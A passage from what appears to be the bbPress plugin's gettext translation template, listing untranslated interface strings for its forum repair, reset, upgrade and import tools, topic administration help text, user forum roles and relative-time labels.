msgid "Reset Forums"
msgstr ""

#: includes/admin/tools/help.php:67
msgid ""
"Also see <a href=\"https://codex.bbpress.org/reset-forums/\">bbPress: Reset "
"Forums</a>."
msgstr ""

#: includes/admin/tools/help.php:96
msgid ""
"This screen provides access to all of the bbPress Import Forums settings "
"and resources."
msgstr ""

#: includes/admin/tools/help.php:98
msgid ""
"Also see the main article on the bbPress codex <a "
"href=\"https://codex.bbpress.org/import-forums/\">bbPress: Import "
"Forums</a>."
msgstr ""

#: includes/admin/tools/help.php:105
msgid "In the Database Settings you have a number of options:"
msgstr ""

#: includes/admin/tools/help.php:108
msgid ""
"The settings in this section refer to the database connection strings used "
"by your old forum software. The best way to determine the exact settings "
"you need is to copy them from your legacy forums configuration file or "
"contact your web hosting provider."
msgstr ""

#: includes/admin/tools/help.php:116
msgid "Importer Options"
msgstr ""

#: includes/admin/tools/help.php:117
msgid "In the Options you have a number of options:"
msgstr ""

#: includes/admin/tools/help.php:120
msgid ""
"Depending on your MySQL configuration you can tweak the \"Rows Limit\" and "
"\"Delay Time\" that may help to improve the overall time it takes to "
"perform a complete forum import."
msgstr ""

#: includes/admin/tools/help.php:121
msgid "\"Convert Users\" will import your legacy forum members as WordPress Users."
msgstr ""

#: includes/admin/tools/help.php:122
msgid ""
"\"Start Over\" will start the importer fresh, if your import failed for any "
"reason leaving this setting unchecked the importer will begin from where it "
"left off."
msgstr ""

#: includes/admin/tools/help.php:123
msgid ""
"\"Purge Previous Import\" will remove data imported from a failed import "
"without removing your existing forum data."
msgstr ""

#: includes/admin/tools/repair.php:47
msgid ""
"bbPress keeps track of relationships between forums, topics, replies, "
"topic-tags, favorites, subscriptions, and users. Occasionally these "
"relationships become out of sync, most often after an import or migration. "
"Use the tools below to manually recalculate these relationships."
msgstr ""

#: includes/admin/tools/repair.php:48
msgid ""
"Some of these tools create substantial database overhead. Use caution when "
"running more than 1 repair at a time."
msgstr ""

#: includes/admin/tools/repair.php:61 includes/admin/tools/repair.php:178
#: includes/admin/tools/upgrade.php:58 includes/admin/tools/upgrade.php:190
msgid "Select bulk action"
msgstr ""

#: includes/admin/tools/repair.php:64 includes/admin/tools/repair.php:126
#: includes/admin/tools/repair.php:181 includes/admin/tools/upgrade.php:61
#: includes/admin/tools/upgrade.php:130 includes/admin/tools/upgrade.php:193
msgid "Run"
msgstr ""

#: includes/admin/tools/repair.php:66 includes/admin/tools/repair.php:183
#: includes/admin/tools/upgrade.php:63 includes/admin/tools/upgrade.php:195
msgid "Apply"
msgstr ""

#: includes/admin/tools/repair.php:72 includes/admin/tools/upgrade.php:71
msgid "Filter"
msgstr ""

#: includes/admin/tools/repair.php:81 includes/admin/tools/repair.php:166
#: includes/admin/tools/upgrade.php:80 includes/admin/tools/upgrade.php:177
msgid "Select All"
msgstr ""

#: includes/admin/tools/repair.php:89 includes/admin/tools/repair.php:116
#: includes/admin/tools/repair.php:170 includes/admin/tools/upgrade.php:88
#: includes/admin/tools/upgrade.php:120 includes/admin/tools/upgrade.php:181
msgid "Description"
msgstr ""

#: includes/admin/tools/repair.php:93 includes/admin/tools/repair.php:133
#: includes/admin/tools/repair.php:171 includes/admin/tools/upgrade.php:98
#: includes/admin/tools/upgrade.php:144 includes/admin/tools/upgrade.php:183
msgid "Components"
msgstr ""

#: includes/admin/tools/repair.php:99 includes/admin/tools/repair.php:140
#: includes/admin/tools/repair.php:172 includes/admin/tools/upgrade.php:103
#: includes/admin/tools/upgrade.php:151 includes/admin/tools/upgrade.php:184
msgid "Overhead"
msgstr ""

#: includes/admin/tools/repair.php:126 includes/admin/tools/upgrade.php:130
msgid "Run %s"
msgstr ""

#: includes/admin/tools/repair.php:130 includes/admin/tools/upgrade.php:134
msgid "Show more details"
msgstr ""

#: includes/admin/tools/repair.php:155 includes/admin/tools/upgrade.php:166
msgid "No repair tools match this criteria."
msgstr ""

#: includes/admin/tools/repair.php:203
msgid "Counting the number of replies in each topic&hellip; %s"
msgstr ""

#: includes/admin/tools/repair.php:204 includes/admin/tools/repair.php:253
#: includes/admin/tools/repair.php:305 includes/admin/tools/repair.php:339
#: includes/admin/tools/repair.php:370 includes/admin/tools/repair.php:415
#: includes/admin/tools/repair.php:457 includes/admin/tools/repair.php:498
#: includes/admin/tools/repair.php:546 includes/admin/tools/repair.php:594
#: includes/admin/tools/repair.php:661 includes/admin/tools/repair.php:726
#: includes/admin/tools/repair.php:795 includes/admin/tools/repair.php:903
#: includes/admin/tools/repair.php:1024 includes/admin/tools/repair.php:1136
#: includes/admin/tools/repair.php:1156 includes/admin/tools/repair.php:1218
#: includes/admin/tools/reset.php:122 includes/admin/tools/upgrade.php:288
msgid "Failed!"
msgstr ""

#: includes/admin/tools/repair.php:238 includes/admin/tools/repair.php:290
#: includes/admin/tools/repair.php:324 includes/admin/tools/repair.php:356
#: includes/admin/tools/repair.php:400 includes/admin/tools/repair.php:441
#: includes/admin/tools/repair.php:483 includes/admin/tools/repair.php:531
#: includes/admin/tools/repair.php:579 includes/admin/tools/repair.php:646
#: includes/admin/tools/repair.php:711 includes/admin/tools/repair.php:776
#: includes/admin/tools/repair.php:1009 includes/admin/tools/repair.php:1069
#: includes/admin/tools/repair.php:1140 includes/admin/tools/repair.php:1203
#: includes/admin/tools/repair.php:1254 includes/admin/tools/repair.php:1305
msgid "Complete!"
msgstr ""

#: includes/admin/tools/repair.php:252
msgid "Counting the number of voices in each topic&hellip; %s"
msgstr ""

#: includes/admin/tools/repair.php:304
msgid ""
"Counting the number of pending, spammed, and trashed replies in each "
"topic&hellip; %s"
msgstr ""

#: includes/admin/tools/repair.php:338
msgid "Counting the number of topics in each forum&hellip; %s"
msgstr ""

#: includes/admin/tools/repair.php:369
msgid "Counting the number of topics in each topic-tag&hellip; %s"
msgstr ""

#: includes/admin/tools/repair.php:414
msgid "Counting the number of replies in each forum&hellip; %s"
msgstr ""

#: includes/admin/tools/repair.php:456
msgid ""
"Counting the number of pending, spammed, and trashed replies in each "
"forum&hellip; %s"
msgstr ""

#: includes/admin/tools/repair.php:497
msgid "Counting the number of topics each user has created&hellip; %s"
msgstr ""

#: includes/admin/tools/repair.php:545
msgid "Counting the number of topics to which each user has replied&hellip; %s"
msgstr ""

#: includes/admin/tools/repair.php:593
msgid "Removing unpublished topics from user favorites&hellip; %s"
msgstr ""

#: includes/admin/tools/repair.php:629 includes/admin/tools/repair.php:694
#: includes/admin/tools/repair.php:759
msgid "Nothing to remove!"
msgstr ""

#: includes/admin/tools/repair.php:660
msgid "Removing trashed topics from user subscriptions&hellip; %s"
msgstr ""

#: includes/admin/tools/repair.php:725
msgid "Removing trashed forums from user subscriptions&hellip; %s"
msgstr ""

#: includes/admin/tools/repair.php:788
msgid "Remapping forum role for each user on this site&hellip; %s"
msgstr ""

#: includes/admin/tools/repair.php:886
msgid "Complete! %s users updated."
msgstr ""

#: includes/admin/tools/repair.php:902
msgid "Recomputing latest post in every topic and forum&hellip; %s"
msgstr ""

#: includes/admin/tools/repair.php:1023
msgid "Repairing the sticky topic to the parent forum relationships&hellip; %s"
msgstr ""

#: includes/admin/tools/repair.php:1088
msgid "Repairing closed topics&hellip; %s"
msgstr ""

#: includes/admin/tools/repair.php:1089
msgid "No closed topics to repair."
msgstr ""

#: includes/admin/tools/repair.php:1119
msgid "Complete! %d closed topic repaired."
msgid_plural "Complete! %d closed topics repaired."
msgstr[0] ""
msgstr[1] ""

#: includes/admin/tools/repair.php:1132
msgid "Recalculating forum visibility&hellip; %s"
msgstr ""

#: includes/admin/tools/repair.php:1155
msgid "Recalculating the forum for each post&hellip; %s"
msgstr ""

#: includes/admin/tools/repair.php:1217
msgid "Recalculating the topic for each post&hellip; %s"
msgstr ""

#: includes/admin/tools/repair.php:1268
msgid "Recalculating reply menu order&hellip; %s"
msgstr ""

#: includes/admin/tools/repair.php:1269
msgid "No reply positions to recalculate."
msgstr ""

#: includes/admin/tools/reset.php:26
msgid ""
"Revert your forums back to a brand new installation, as if bbPress were "
"never installed. This process cannot be undone."
msgstr ""

#: includes/admin/tools/reset.php:32
msgid "The following data will be removed:"
msgstr ""

#: includes/admin/tools/reset.php:34 includes/forums/template.php:51
msgid "All Forums"
msgstr ""

#: includes/admin/tools/reset.php:35 includes/topics/functions.php:3756
#: includes/topics/template.php:50
msgid "All Topics"
msgstr ""

#: includes/admin/tools/reset.php:36 includes/replies/functions.php:2136
#: includes/replies/template.php:52
msgid "All Replies"
msgstr ""

#: includes/admin/tools/reset.php:37
msgid "All Topic Tags"
msgstr ""

#: includes/admin/tools/reset.php:38
msgid "All Meta Data"
msgstr ""

#: includes/admin/tools/reset.php:39
msgid "Forum Settings"
msgstr ""

#: includes/admin/tools/reset.php:40
msgid "Forum Activity"
msgstr ""

#: includes/admin/tools/reset.php:41
msgid "Forum User Roles"
msgstr ""

#: includes/admin/tools/reset.php:43
msgid "Importer Helper Data"
msgstr ""

#: includes/admin/tools/reset.php:47
msgid "Delete imported users?"
msgstr ""

#: includes/admin/tools/reset.php:50 includes/admin/tools/reset.php:60
msgid "Say it ain't so!"
msgstr ""

#: includes/admin/tools/reset.php:51
msgid "This option will delete all previously imported users, and cannot be undone."
msgstr ""

#: includes/admin/tools/reset.php:52
msgid ""
"Proceeding without this checked removes the meta-data necessary to delete "
"these users later."
msgstr ""

#: includes/admin/tools/reset.php:57
msgid "Do you really want to do this?"
msgstr ""

#: includes/admin/tools/reset.php:61
#: templates/default/bbpress/form-reply-move.php:76
#: templates/default/bbpress/form-topic-merge.php:98
#: templates/default/bbpress/form-topic-split.php:102
msgid "This process cannot be undone."
msgstr ""

#: includes/admin/tools/reset.php:62
msgid "Backup your database before proceeding."
msgstr ""

#: includes/admin/tools/reset.php:70
msgid "Reset bbPress"
msgstr ""

#: includes/admin/tools/reset.php:119
msgid "Resetting&hellip;"
msgstr ""

#: includes/admin/tools/reset.php:121
msgid "Success!"
msgstr ""

#: includes/admin/tools/reset.php:123
msgid "Skipped."
msgstr ""

#: includes/admin/tools/reset.php:182
msgid "Removing Forums, Topics, and Replies&hellip; %s"
msgstr ""

#: includes/admin/tools/reset.php:190
msgid "Removing Forum, Topic, and Reply Meta Data&hellip; %s"
msgstr ""

#: includes/admin/tools/reset.php:199
msgid "Removing Revision Data&hellip; %s"
msgstr ""

#: includes/admin/tools/reset.php:208
msgid "Deleting Topic Tags&hellip; %s"
msgstr ""

#: includes/admin/tools/reset.php:227
msgid "Deleting Imported Users&hellip; %s"
msgstr ""

#: includes/admin/tools/reset.php:233
msgid "Deleting Imported User Meta&hellip; %s"
msgstr ""

#: includes/admin/tools/reset.php:241
msgid "Deleting bbPress Specific User Meta&hellip; %s"
msgstr ""

#: includes/admin/tools/reset.php:250
msgid "Dropping Conversion Table&hellip; %s"
msgstr ""

#: includes/admin/tools/reset.php:257
msgid "Deleting Settings&hellip; Success!"
msgstr ""

#: includes/admin/tools/reset.php:263
msgid "Removing Roles and Capabilities&hellip; Success!"
msgstr ""

#: includes/admin/tools/upgrade.php:44
msgid ""
"As bbPress improves, occasionally database upgrades are required but some "
"forums are too large to upgrade automatically. Use the tools below to "
"manually run upgrade routines."
msgstr ""

#: includes/admin/tools/upgrade.php:45
msgid ""
"Some of these tools create substantial database overhead. Use caution when "
"running more than 1 upgrade at a time."
msgstr ""

#: includes/admin/tools/upgrade.php:95 includes/admin/tools/upgrade.php:137
#: includes/admin/tools/upgrade.php:182
msgid "Version"
msgstr ""

#: includes/admin/tools/upgrade.php:215
msgid "Upgrading user engagements&hellip; %s"
msgstr ""

#: includes/admin/tools/upgrade.php:216
msgid "No engagements to upgrade."
msgstr ""

#: includes/admin/tools/upgrade.php:249
msgid "Complete! %d engagement upgraded."
msgid_plural "Complete! %d engagements upgraded."
msgstr[0] ""
msgstr[1] ""

#: includes/admin/tools/upgrade.php:267
msgid "Upgrading BuddyPress group-forum relationships&hellip; %s"
msgstr ""

#: includes/admin/tools/upgrade.php:372
msgid "group-forums"
msgstr ""

#: includes/admin/tools/upgrade.php:388
msgid "Complete! %s groups updated; %s forums updated; %s forum statuses synced."
msgstr ""

#: includes/admin/tools/upgrade.php:403
msgid "Upgrading user favorites&hellip; %s"
msgstr ""

#: includes/admin/tools/upgrade.php:404
msgid "No favorites to upgrade."
msgstr ""

#: includes/admin/tools/upgrade.php:447
msgid "Complete! %d favorite upgraded."
msgid_plural "Complete! %d favorites upgraded."
msgstr[0] ""
msgstr[1] ""

#: includes/admin/tools/upgrade.php:463
msgid "Upgrading user topic subscriptions&hellip; %s"
msgstr ""

#: includes/admin/tools/upgrade.php:464
msgid "No topic subscriptions to upgrade."
msgstr ""

#: includes/admin/tools/upgrade.php:507
msgid "Complete! %d topic subscription upgraded."
msgid_plural "Complete! %d topic subscriptions upgraded."
msgstr[0] ""
msgstr[1] ""

#: includes/admin/tools/upgrade.php:523
msgid "Upgrading user forum subscriptions&hellip; %s"
msgstr ""

#: includes/admin/tools/upgrade.php:524
msgid "No forum subscriptions to upgrade."
msgstr ""

#: includes/admin/tools/upgrade.php:567
msgid "Complete! %d forum subscription upgraded."
msgid_plural "Complete! %d forum subscriptions upgraded."
msgstr[0] ""
msgstr[1] ""

#: includes/admin/tools/upgrade.php:583
msgid "Remove favorites from usermeta&hellip; %s"
msgstr ""

#: includes/admin/tools/upgrade.php:584
msgid "No favorites to remove."
msgstr ""

#: includes/admin/tools/upgrade.php:603
msgid "Complete! %d favorite deleted."
msgid_plural "Complete! %d favorites deleted."
msgstr[0] ""
msgstr[1] ""

#: includes/admin/tools/upgrade.php:619
msgid "Remove topic subscriptions from usermeta&hellip; %s"
msgstr ""

#: includes/admin/tools/upgrade.php:620
msgid "No topic subscriptions to remove."
msgstr ""

#: includes/admin/tools/upgrade.php:639
msgid "Complete! %d topic subscription deleted."
msgid_plural "Complete! %d topic subscriptions deleted."
msgstr[0] ""
msgstr[1] ""

#: includes/admin/tools/upgrade.php:655
msgid "Remove forum subscriptions from usermeta&hellip; %s"
msgstr ""

#: includes/admin/tools/upgrade.php:656
msgid "No forum subscriptions to remove."
msgstr ""

#: includes/admin/tools/upgrade.php:675
msgid "Complete! %d forum subscription deleted."
msgid_plural "Complete! %d forum subscriptions deleted."
msgstr[0] ""
msgstr[1] ""

#: includes/admin/tools.php:31
msgid "bbPress provides the following tools to help you manage your forums:"
msgstr ""

#: includes/admin/tools.php:78
msgid "The repair was completed successfully"
msgstr ""

#: includes/admin/tools.php:79
msgid "The repair was not successful"
msgstr ""

#: includes/admin/tools.php:115
msgid "Recalculate parent topic for each reply"
msgstr ""

#: includes/admin/tools.php:116
msgid "Run this if replies appear in the wrong topics."
msgstr ""

#: includes/admin/tools.php:127
msgid "Recalculate parent forum for each topic and reply"
msgstr ""

#: includes/admin/tools.php:128
msgid "Run this if topics or replies appear in the wrong forums."
msgstr ""

#: includes/admin/tools.php:139
msgid "Recalculate private and hidden forums"
msgstr ""

#: includes/admin/tools.php:140
msgid "Run this if non-public forums are publicly visible."
msgstr ""

#: includes/admin/tools.php:151
msgid "Recalculate last activity in each topic and forum"
msgstr ""

#: includes/admin/tools.php:152
msgid "Run this if freshness appears incorrectly."
msgstr ""

#: includes/admin/tools.php:163
msgid "Recalculate sticky relationship of each topic"
msgstr ""

#: includes/admin/tools.php:164
msgid "Run this if sticky topics appear incorrectly."
msgstr ""

#: includes/admin/tools.php:175
msgid "Recalculate position of each reply in each topic"
msgstr ""

#: includes/admin/tools.php:176
msgid "Run this if replies appear in the wrong order."
msgstr ""

#: includes/admin/tools.php:187
msgid "Recalculate engagements in each topic for each user"
msgstr ""

#: includes/admin/tools.php:188
msgid "Run this if voices appear incorrectly."
msgstr ""

#: includes/admin/tools.php:199
msgid "Repair closed topic statuses"
msgstr ""

#: includes/admin/tools.php:200
msgid "Run this if closed topics appear incorrectly."
msgstr ""

#: includes/admin/tools.php:211
msgid "Recount topics in each forum"
msgstr ""

#: includes/admin/tools.php:212
msgid "Run this if the number of topics in any forums are incorrect."
msgstr ""

#: includes/admin/tools.php:223
msgid "Recount topics in each topic-tag"
msgstr ""

#: includes/admin/tools.php:224
msgid "Run this if the number of topics in any topic-tags are incorrect."
msgstr ""

#: includes/admin/tools.php:235
msgid "Recount replies in each forum"
msgstr ""

#: includes/admin/tools.php:236
msgid "Run this if the number of replies in any forums are incorrect."
msgstr ""

#: includes/admin/tools.php:247
msgid "Recount pending, spammed, and trashed replies in each forum"
msgstr ""

#: includes/admin/tools.php:248
msgid "Run this if non-public replies display incorrectly in forums."
msgstr ""

#: includes/admin/tools.php:259
msgid "Recount replies in each topic"
msgstr ""

#: includes/admin/tools.php:260
msgid "Run this if the number of replies in any topics are incorrect."
msgstr ""

#: includes/admin/tools.php:271
msgid "Recount pending, spammed, and trashed replies in each topic"
msgstr ""

#: includes/admin/tools.php:272
msgid "Run this if non-public replies display incorrectly in topics."
msgstr ""

#: includes/admin/tools.php:283
msgid "Recount topics for each user"
msgstr ""

#: includes/admin/tools.php:284
msgid "Run this to get fresh topic counts for all users."
msgstr ""

#: includes/admin/tools.php:295
msgid "Recount replies for each user"
msgstr ""

#: includes/admin/tools.php:296
msgid "Run this to get fresh reply counts for all users."
msgstr ""

#: includes/admin/tools.php:307
msgid "Remove unpublished topics from user favorites"
msgstr ""

#: includes/admin/tools.php:308
msgid "Run this to remove trashed or deleted topics from all user favorites."
msgstr ""

#: includes/admin/tools.php:319
msgid "Remove unpublished topics from user subscriptions"
msgstr ""

#: includes/admin/tools.php:320
msgid "Run this to remove trashed or deleted topics from all user subscriptions."
msgstr ""

#: includes/admin/tools.php:331
msgid "Remove unpublished forums from user subscriptions"
msgstr ""

#: includes/admin/tools.php:332
msgid "Run this to remove trashed or deleted forums from all user subscriptions."
msgstr ""

#: includes/admin/tools.php:343
msgid "Remap all users to default forum roles"
msgstr ""

#: includes/admin/tools.php:344
msgid "Run this if users have issues accessing the forums."
msgstr ""

#: includes/admin/tools.php:355
msgid "Upgrade user topic engagements"
msgstr ""

#: includes/admin/tools.php:356
msgid "Copies engagements from user meta to topic meta."
msgstr ""

#: includes/admin/tools.php:368
msgid "Upgrade user topic favorites"
msgstr ""

#: includes/admin/tools.php:369
msgid "Copies favorites from user meta to topic meta."
msgstr ""

#: includes/admin/tools.php:381
msgid "Upgrade user topic subscriptions"
msgstr ""

#: includes/admin/tools.php:382
msgid "Copies topic subscriptions from user meta to topic meta."
msgstr ""

#: includes/admin/tools.php:394
msgid "Upgrade user forum subscriptions"
msgstr ""

#: includes/admin/tools.php:395
msgid "Copies forum subscriptions from user meta to forum meta."
msgstr ""

#: includes/admin/tools.php:407
msgid "Remove favorites from user-meta"
msgstr ""

#: includes/admin/tools.php:408
msgid "Run this to delete old data (after confirming successful favorites upgrade)"
msgstr ""

#: includes/admin/tools.php:420
msgid "Remove topic subscriptions from user-meta"
msgstr ""

#: includes/admin/tools.php:421
msgid ""
"Run this to delete old data (after confirming successful topic "
"subscriptions upgrade)"
msgstr ""

#: includes/admin/tools.php:433
msgid "Remove forum subscriptions from user-meta"
msgstr ""

#: includes/admin/tools.php:434
msgid ""
"Run this to delete old data (after confirming successful forum "
"subscriptions upgrade)"
msgstr ""

#: includes/admin/tools.php:446
msgid "Upgrade BuddyPress Group Forum relationships"
msgstr ""

#: includes/admin/tools.php:447
msgid "Run this if you just upgraded BuddyPress Forums from Legacy."
msgstr ""

#: includes/admin/tools.php:450
msgid "Any"
msgstr ""

#: includes/admin/tools.php:532
msgid "Upgrade Forums"
msgstr ""

#: includes/admin/tools.php:541
msgid "Import Forums"
msgstr ""

#: includes/admin/topics.php:121
msgid ""
"This screen displays the individual topics on your site. You can customize "
"the display of this screen to suit your workflow."
msgstr ""

#: includes/admin/topics.php:131
msgid ""
"You can hide/display columns based on your needs and decide how many topics "
"to list per screen using the Screen Options tab."
msgstr ""

#: includes/admin/topics.php:132
msgid ""
"You can filter the list of topics by topic status using the text links in "
"the upper left to show All, Published, Draft, Pending, Trashed, Closed, or "
"Spam  topics. The default view is to show all topics."
msgstr ""

#: includes/admin/topics.php:133
msgid ""
"You can view topics in a simple title list or with an excerpt. Choose the "
"view you prefer by clicking on the icons at the top of the list on the "
"right."
msgstr ""

#: includes/admin/topics.php:134
msgid ""
"You can refine the list to show only topics in a specific forum or from a "
"specific month by using the dropdown menus above the topics list. Click the "
"Filter button after making your selection."
msgstr ""

#: includes/admin/topics.php:143
msgid ""
"Hovering over a row in the topics list will display action links that allow "
"you to manage your topic. You can perform the following actions:"
msgstr ""

#: includes/admin/topics.php:145
msgid ""
"<strong>Edit</strong> takes you to the editing screen for that topic. You "
"can also reach that screen by clicking on the topic title."
msgstr ""

#: includes/admin/topics.php:146
msgid ""
"<strong>Stick</strong> will keep the selected topic &#8217;pinned&#8217; to "
"the top the parent forum topic list."
msgstr ""

#: includes/admin/topics.php:147
msgid ""
"<strong>Stick <em>(to front)</em></strong> will keep the selected topic "
"&#8217;pinned&#8217; to the top of ALL forums and be visable in any forums "
"topics list."
msgstr ""

#: includes/admin/topics.php:149
msgid ""
"<strong>Close</strong> will mark the selected topic as &#8217;closed&#8217; "
"and disable the ability to post new replies to it."
msgstr ""

#: includes/admin/topics.php:150
msgid ""
"<strong>Spam</strong> removes your topic from this list and places it in "
"the spam queue, from which you can permanently delete it."
msgstr ""

#: includes/admin/topics.php:151
msgid ""
"<strong>Trash</strong> removes your topic from this list and places it in "
"the trash, from which you can permanently delete it."
msgstr ""

#: includes/admin/topics.php:152
msgid "<strong>View</strong> will take you to your live site to view the topic."
msgstr ""

#: includes/admin/topics.php:161
msgid ""
"You can also edit, spam, or move multiple topics to the trash at once. "
"Select the topics you want to act on using the checkboxes, then select the "
"action you want to take from the Bulk Actions menu and click Apply."
msgstr ""

#: includes/admin/topics.php:162
msgid ""
"When using Bulk Edit, you can change the metadata (categories, author, "
"etc.) for all selected topics at once. To remove a topic from the grouping, "
"just click the x next to its name in the Bulk Edit area that appears."
msgstr ""

#: includes/admin/topics.php:180
msgid ""
"The title field and the big topic editing Area are fixed in place, but you "
"can reposition all the other boxes using drag and drop, and can minimize or "
"expand them by clicking the title bar of each box. Use the Screen Options "
"tab to unhide more boxes (Excerpt, Send Trackbacks, Custom Fields, "
"Discussion, Slug, Author) or to choose a 1- or 2-column layout for this "
"screen."
msgstr ""

#: includes/admin/topics.php:190
msgid "Title and Topic Editor"
msgstr ""

#: includes/admin/topics.php:192
msgid ""
"<strong>Title</strong> - Enter a title for your topic. After you enter a "
"title, you&#8217;ll see the permalink below, which you can edit."
msgstr ""

#: includes/admin/topics.php:193
msgid ""
"<strong>Topic Editor</strong> - Enter the text for your topic. There are "
"two modes of editing: Visual and HTML. Choose the mode by clicking on the "
"appropriate tab. Visual mode gives you a WYSIWYG editor. Click the last "
"icon in the row to get a second row of controls. The HTML mode allows you "
"to enter raw HTML along with your topic text. You can insert media files by "
"clicking the icons above the topic editor and following the directions. You "
"can go to the distraction-free writing screen via the Fullscreen icon in "
"Visual mode (second to last in the top row) or the Fullscreen button in "
"HTML mode (last in the row). Once there, you can make buttons visible by "
"hovering over the top area. Exit Fullscreen back to the regular topic "
"editor."
msgstr ""

#: includes/admin/topics.php:196
msgid ""
"<strong>Publish</strong> - You can set the terms of publishing your topic "
"in the Publish box. For Status, Visibility, and Publish (immediately), "
"click on the Edit link to reveal more options. Visibility includes options "
"for password-protecting a topic or making it stay at the top of your blog "
"indefinitely (sticky). Publish (immediately) allows you to set a future or "
"past date and time, so you can schedule a topic to be published in the "
"future or backdate a topic."
msgstr ""

#: includes/admin/topics.php:199
msgid ""
"<strong>Featured Image</strong> - This allows you to associate an image "
"with your topic without inserting it. This is usually useful only if your "
"theme makes use of the featured image as a topic thumbnail on the home "
"page, a custom header, etc."
msgstr ""

#: includes/admin/topics.php:204 includes/admin/topics.php:341
#: includes/topics/template.php:67
msgid "Topic Attributes"
msgstr ""

#: includes/admin/topics.php:206
msgid "Select the attributes that your topic should have:"
msgstr ""

#: includes/admin/topics.php:208
msgid ""
"<strong>Forum</strong> dropdown determines the parent forum that the topic "
"belongs to. Select the forum or category from the dropdown, or leave the "
"default \"No forum\" to post the topic without an assigned forum."
msgstr ""

#: includes/admin/topics.php:209
msgid ""
"<strong>Topic Type</strong> dropdown indicates the sticky status of the "
"topic. Selecting the super sticky option would stick the topic to the front "
"of your forums, i.e. the topic index, sticky option would stick the topic "
"to its respective forum. Selecting normal would not stick the topic "
"anywhere."
msgstr ""

#: includes/admin/topics.php:256
msgid "%s topic updated."
msgid_plural "%s topics updated."
msgstr[0] ""
msgstr[1] ""

#: includes/admin/topics.php:258
msgid "1 topic not updated, somebody is editing it."
msgstr ""

#: includes/admin/topics.php:259
msgid "%s topic not updated, somebody is editing it."
msgid_plural "%s topics not updated, somebody is editing them."
msgstr[0] ""
msgstr[1] ""

#: includes/admin/topics.php:292
msgid "Error in spamming topic."
msgstr ""

#: includes/admin/topics.php:308
msgid "Sorry, you are not allowed to unspam this topic."
msgstr ""

#: includes/admin/topics.php:317
msgid "Error in unspamming topic."
msgstr ""

#: includes/admin/topics.php:577
msgid "The topic was not found."
msgstr ""

#: includes/admin/topics.php:713
msgid "There was a problem opening the topic \"%1$s\"."
msgstr ""

#: includes/admin/topics.php:714
msgid "Topic \"%1$s\" successfully opened."
msgstr ""

#: includes/admin/topics.php:719
msgid "There was a problem closing the topic \"%1$s\"."
msgstr ""

#: includes/admin/topics.php:720
msgid "Topic \"%1$s\" successfully closed."
msgstr ""

#: includes/admin/topics.php:725
msgid "There was a problem sticking the topic \"%1$s\" to front."
msgstr ""

#: includes/admin/topics.php:726
msgid "Topic \"%1$s\" successfully stuck to front."
msgstr ""

#: includes/admin/topics.php:731
msgid "There was a problem sticking the topic \"%1$s\"."
msgstr ""

#: includes/admin/topics.php:732
msgid "Topic \"%1$s\" successfully stuck."
msgstr ""

#: includes/admin/topics.php:737
msgid "There was a problem unsticking the topic \"%1$s\"."
msgstr ""

#: includes/admin/topics.php:738
msgid "Topic \"%1$s\" successfully unstuck."
msgstr ""

#: includes/admin/topics.php:743
msgid "There was a problem marking the topic \"%1$s\" as spam."
msgstr ""

#: includes/admin/topics.php:744
msgid "Topic \"%1$s\" successfully marked as spam."
msgstr ""

#: includes/admin/topics.php:749
msgid "There was a problem unmarking the topic \"%1$s\" as spam."
msgstr ""

#: includes/admin/topics.php:750
msgid "Topic \"%1$s\" successfully unmarked as spam."
msgstr ""

#: includes/admin/topics.php:755
msgid "There was a problem approving the topic \"%1$s\"."
msgstr ""

#: includes/admin/topics.php:756
msgid "Topic \"%1$s\" successfully approved."
msgstr ""

#: includes/admin/topics.php:761
msgid "There was a problem unapproving the topic \"%1$s\"."
msgstr ""

#: includes/admin/topics.php:762
msgid "Topic \"%1$s\" successfully unapproved."
msgstr ""

#: includes/admin/topics.php:857 templates/default/bbpress/loop-topics.php:19
msgid "Voices"
msgstr ""

#: includes/admin/topics.php:935 includes/topics/template.php:1988
msgid "No Replies"
msgstr ""

#: includes/admin/topics.php:985
msgid "Unapprove this topic"
msgstr ""

#: includes/admin/topics.php:990
msgid "Approve this topic"
msgstr ""

#: includes/admin/topics.php:1002
msgid "Close this topic"
msgstr ""

#: includes/admin/topics.php:1004
msgid "Open this topic"
msgstr ""

#: includes/admin/topics.php:1013
msgid "Unstick this topic"
msgstr ""

#: includes/admin/topics.php:1013 includes/topics/template.php:2689
msgid "Unstick"
msgstr ""

#: includes/admin/topics.php:1016
msgid "Stick this topic to its forum"
msgstr ""

#: includes/admin/topics.php:1016 includes/topics/template.php:2688
msgid "Stick"
msgstr ""

#: includes/admin/topics.php:1016
msgid "Stick this topic to front"
msgstr ""

#: includes/admin/topics.php:1016 includes/topics/template.php:2690
msgid "(to front)"
msgstr ""

#: includes/admin/topics.php:1023
msgid "Mark this topic as spam"
msgstr ""

#: includes/admin/topics.php:1025
msgid "Mark the topic as not spam"
msgstr ""

#: includes/admin/topics.php:1175 includes/admin/topics.php:1187
#: includes/topics/template.php:78
msgid "Topic updated."
msgstr ""

#: includes/admin/topics.php:1192
#. translators: %s: date and time of the revision
msgid "Topic restored to revision from %s"
msgstr ""

#: includes/admin/topics.php:1198
msgid "Topic created."
msgstr ""

#: includes/admin/topics.php:1204
msgid "Topic saved."
msgstr ""

#: includes/admin/topics.php:1209
msgid "Topic submitted."
msgstr ""

#: includes/admin/topics.php:1218
msgid "Topic scheduled for: %s."
msgstr ""

#: includes/admin/topics.php:1229
msgid "Topic draft updated."
msgstr ""

#: includes/admin/users.php:98 includes/admin/users.php:282
#: includes/users/signups.php:30
#: templates/default/bbpress/form-user-roles.php:23
msgid "Forum Role"
msgstr ""

#: includes/admin/users.php:107 includes/admin/users.php:111
#: includes/users/template.php:1547
msgid "&mdash; No role for these forums &mdash;"
msgstr ""

#: includes/admin/users.php:164 includes/admin/users.php:166
msgid "Change forum role to&hellip;"
msgstr ""

#: includes/admin/users.php:170
msgid "Change"
msgstr ""

#: includes/admin/users.php:278
msgid "Site Role"
msgstr ""

#: includes/common/formatting.php:646
msgid "sometime"
msgstr ""

#: includes/common/formatting.php:647
msgid "right now"
msgstr ""

#: includes/common/formatting.php:648
msgid "%s ago"
msgstr ""

#: includes/common/formatting.php:652
msgid "%s year"
msgid_plural "%s years"
msgstr[0] ""
msgstr[1] ""

#: includes/common/formatting.php:653
msgid "%s month"
msgid_plural "%s months"
msgstr[0] ""
msgstr[1] ""

#: includes/common/formatting.php:654
msgid "%s week"
msgid_plural "%s weeks"
msgstr[0] ""
msgstr[1] ""

#: includes/common/formatting.php:655
msgid "%s day"
msgid_plural "%s days"
msgstr[0] ""
msgstr[1] ""

#: includes/common/formatting.php:656
msgid "%s hour"
msgid_plural "%s hours"
msgstr[0] ""
msgstr[1] ""

#: includes/common/formatting.php:657
